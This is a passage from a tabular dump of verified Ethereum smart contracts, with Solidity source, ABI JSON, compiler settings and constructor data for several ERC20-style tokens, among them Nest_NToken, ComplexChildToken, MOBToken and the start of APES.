} | [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint8","name":"decimals","type":"uint8"},{"internalType":"uint256","name":"totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"PauserAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"PauserRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"Unpaused","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addPauser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isPauser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renouncePauser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unpause","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.7.1+commit.f4a555be | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000002386f26fc10000000000000000000000000000000000000000000000000000000000000000000a50617a65756d204944520000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045049445200000000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://e65d259642f17afb774d5e447978465fd837eca17693acfc9c80382ef2e13845 |
||
Nest_NToken | Nest_NToken.sol | 0xd0ecd1c2895f178ff0d461d5fb89ce2b21c8ce31 | Solidity | pragma solidity 0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// voting contract
interface Nest_3_VoteFactory {
// Check address
function checkAddress(string calldata name) external view returns (address contractAddress);
// check whether the administrator
function checkOwners(address man) external view returns (bool);
}
/**
* @title NToken contract
* @dev Include standard erc20 method, mining method, and mining data
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Nest_NToken is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances; // Balance ledger
mapping (address => mapping (address => uint256)) private _allowed; // Approval ledger
uint256 private _totalSupply = 0 ether; // Total supply
string public name; // Token name
string public symbol; // Token symbol
uint8 public decimals = 18; // Precision
uint256 public _createBlock; // Create block number
uint256 public _recentlyUsedBlock; // Recently used block number
Nest_3_VoteFactory _voteFactory; // Voting factory contract
address _bidder; // Owner
/**
* @dev Initialization method
* @param _name Token name
* @param _symbol Token symbol
* @param voteFactory Voting factory contract address
* @param bidder Successful bidder address
*/
constructor (string memory _name, string memory _symbol, address voteFactory, address bidder) public {
name = _name;
symbol = _symbol;
_createBlock = block.number;
_recentlyUsedBlock = block.number;
_voteFactory = Nest_3_VoteFactory(address(voteFactory));
_bidder = bidder;
}
/**
* @dev Reset voting contract method
* @param voteFactory Voting contract address
*/
function changeMapping (address voteFactory) public onlyOwner {
_voteFactory = Nest_3_VoteFactory(address(voteFactory));
}
/**
* @dev Additional issuance
* @param value Additional issuance amount
*/
function increaseTotal(uint256 value) public {
address offerMain = address(_voteFactory.checkAddress("nest.nToken.offerMain"));
require(address(msg.sender) == offerMain, "No authority");
_balances[offerMain] = _balances[offerMain].add(value);
_totalSupply = _totalSupply.add(value);
_recentlyUsedBlock = block.number;
}
/**
* @dev Check the total amount of tokens
* @return Total supply
*/
function totalSupply() override public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Check address balance
* @param owner Address to be checked
* @return Return the balance of the corresponding address
*/
function balanceOf(address owner) override public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Check block information
* @return createBlock Initial block number
* @return recentlyUsedBlock Recently mined and issued block
*/
function checkBlockInfo() public view returns(uint256 createBlock, uint256 recentlyUsedBlock) {
return (_createBlock, _recentlyUsedBlock);
}
/**
* @dev Check owner's approved allowance to the spender
* @param owner Approving address
* @param spender Approved address
* @return Approved amount
*/
function allowance(address owner, address spender) override public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer method
* @param to Transfer target
* @param value Transfer amount
* @return Whether the transfer is successful
*/
function transfer(address to, uint256 value) override public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approval method
* @param spender Approval target
* @param value Approval amount
* @return Whether the approval is successful
*/
function approve(address spender, uint256 value) override public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens when approved
* @param from Transfer-out account address
* @param to Transfer-in account address
* @param value Transfer amount
* @return Whether approved transfer is successful
*/
function transferFrom(address from, address to, uint256 value) override public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the allowance
* @param spender Approval target
* @param addedValue Amount to increase
* @return whether increase is successful
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the allowance
* @param spender Approval target
* @param subtractedValue Amount to decrease
* @return Whether decrease is successful
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer method
* @param to Transfer target
* @param value Transfer amount
*/
function _transfer(address from, address to, uint256 value) internal {
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Check the creator
* @return Creator address
*/
function checkBidder() public view returns(address) {
return _bidder;
}
/**
* @dev Transfer creator
* @param bidder New creator address
*/
function changeBidder(address bidder) public {
require(address(msg.sender) == _bidder);
_bidder = bidder;
}
// Administrator only
modifier onlyOwner(){
require(_voteFactory.checkOwners(msg.sender));
_;
}
} | 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| v0.6.0+commit.26b70077 | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000006cd5698e8854fb6879d6b1c694223b389b465dea0000000000000000000000003ceefbbb0e6c60cf64db9d17b94917d6d78cec05000000000000000000000000000000000000000000000000000000000000000a4e546f6b656e303030310000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054e30303031000000000000000000000000000000000000000000000000000000 | Default | GNU GPLv3 | false | ipfs://732ed18cfb08aa8ddce47e3df3862d172ea4dcb0bc2be56c6b5c9a2c5af587cb |
||
ComplexChildToken | zeppelin-solidity/contracts/math/SafeMath.sol | 0x4f75f0b635b928bf5c8ee56de8a7aec82b37f93d | Solidity | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 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|||
ComplexChildToken | zeppelin-solidity/contracts/ownership/Ownable.sol | 0x4f75f0b635b928bf5c8ee56de8a7aec82b37f93d | Solidity | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
} | 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|||
ComplexChildToken | contracts/Slogan.sol | 0x4f75f0b635b928bf5c8ee56de8a7aec82b37f93d | Solidity | /**
* @title Slogan
* @dev Developers and owners can set a slogan in their contract
*/
contract Slogan is Ownable {
string public slogan;
event SloganChanged(string indexed oldSlogan, string indexed newSlogan);
function Slogan(string _slogan) public {
slogan = _slogan;
}
function ownerChangeSlogan(string _slogan) onlyOwner public {
SloganChanged(slogan, _slogan);
slogan = _slogan;
}
}
/**
* @title Bitansuo
* @dev Bitansuo is a contract with bitansuo's slogan.
*/
contract Bitansuo is Slogan {
function Bitansuo() Slogan("币探索 (bitansuo.com | bitansuo.eth)") public {
}
} | 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|||
ComplexChildToken | contracts/ComplexChildToken.sol | 0x4f75f0b635b928bf5c8ee56de8a7aec82b37f93d | Solidity | /**
* @title ComplexChildToken
* @dev Complex child token to be generated by TokenFather.
*/
contract ComplexChildToken is ChildToken, Refundable, MintableToken, BurnableToken {
string public name;
string public symbol;
uint8 public decimals;
bool public canBurn;
event Burn(address indexed burner, uint256 value);
function ComplexChildToken(address _owner, string _name, string _symbol, uint256 _initSupply, uint8 _decimals,
bool _canMint, bool _canBurn) public {
require(_owner != address(0));
owner = _owner;
name = _name;
symbol = _symbol;
decimals = _decimals;
uint256 amount = _initSupply;
totalSupply_ = totalSupply_.add(amount);
balances[owner] = balances[owner].add(amount);
Transfer(address(0), owner, amount);
if (!_canMint) {
mintingFinished = true;
}
canBurn = _canBurn;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(canBurn);
BurnableToken.burn(_value);
}
function ownerCanBurn(bool _canBurn) onlyOwner public {
canBurn = _canBurn;
}
} | [{"constant":true,"inputs":[],"name":"mintingFinished","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"slogan","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_canBurn","type":"bool"}],"name":"ownerCanBurn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"tokenContract","type":"address"},{"name":"payee","type":"address"},{"name":"amount","type":"uint256"}],"name":"refundERC20","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"payee","type":"address"},{"name":"amount","type":"uint256"}],"name":"refundETH","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"finishMinting","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"canBurn","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_slogan","type":"string"}],"name":"ownerChangeSlogan","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_owner","type":"address"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_initSupply","type":"uint256"},{"name":"_decimals","type":"uint8"},{"name":"_canMint","type":"bool"},{"name":"_canBurn","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[],"name":"MintFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"payee","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"RefundETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"payee","type":"address"},{"indexed":true,"name":"token","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"RefundERC20","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"oldSlogan","type":"string"},{"indexed":true,"name":"newSlogan","type":"string"}],"name":"SloganChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.19+commit.c4cbbb05 | true | 200 | 00000000000000000000000000f9425a20d223f3e318dce2b2b785b79335384900000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000e37983df262343f300000000000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000015e5b881e68ea2e7b4a2e6b58be8af95e4bba3e5b881000000000000000000000000000000000000000000000000000000000000000000000000000000000000044254535400000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://94d9e4d5610184c95e28bf843fe60c0f2bcb1ae3e80316d7c8976bbcdf505ad6 |
|||
MOBToken | MOBToken.sol | 0xa1fb105125c0849f86892813715238f8a3afbdab | Solidity | pragma solidity ^0.4.18;
library SafeOpt {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a - b;
assert(b <= a);
assert(a == c + b);
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
assert(a == c - b);
return c;
}
}
contract MOBTokenIssue {
uint256 public lastYearTotalSupply = 15 * 10 ** 26;
uint8 public affectedCount = 0;
bool public initialYear = true;
address public tokenContractAddress;
uint16 public preRate = 1000;
uint256 public lastBlockNumber;
function MOBTokenIssue (address _tokenContractAddress) public{
tokenContractAddress = _tokenContractAddress;
lastBlockNumber = block.number;
}
function returnRate() internal returns (uint256){
if(affectedCount == 10){
if(preRate > 100){
preRate -= 100;
}
affectedCount = 0;
}
return SafeOpt.div(preRate, 10);
}
function issue() public {
if(initialYear){
require(SafeOpt.sub(block.number, lastBlockNumber) > 2102400);
initialYear = false;
}
require(SafeOpt.sub(block.number, lastBlockNumber) > 2102400);
MOBToken tokenContract = MOBToken(tokenContractAddress);
if(affectedCount == 10){
lastYearTotalSupply = tokenContract.totalSupply();
}
uint256 amount = SafeOpt.div(SafeOpt.mul(lastYearTotalSupply, returnRate()), 10000);
require(amount > 0);
tokenContract.issue(amount);
lastBlockNumber = block.number;
affectedCount += 1;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;
}
contract MOBToken {
string public name = 'Motion Block';
string public symbol = 'MOB';
uint8 public decimals = 18;
uint256 public totalSupply = 1000 * 10 ** 26;
address public issueContractAddress;
address public owner;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
event Issue(uint256 amount);
function MOBToken() public {
owner = msg.sender;
balanceOf[owner] = totalSupply;
issueContractAddress = new MOBTokenIssue(address(this));
}
function issue(uint256 amount) public {
require(msg.sender == issueContractAddress);
balanceOf[owner] = SafeOpt.add(balanceOf[owner], amount);
totalSupply = SafeOpt.add(totalSupply, amount);
Issue(amount);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success){
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(_value <= balanceOf[msg.sender]);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_value","type":"uint256"}],"name":"burnFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"issueContractAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_extraData","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"}] | v0.4.25-nightly.2018.5.28+commit.c223b03 | false | 200 | Default | false | bzzr://36ee55a92970a774e80fa34695897a435642c1c49de05100a344b06b2f93a931 |
||||
APES | APES.sol | 0x0f644a90fe4f32f0ff65fcab1d060a181cb01723 | Solidity | pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
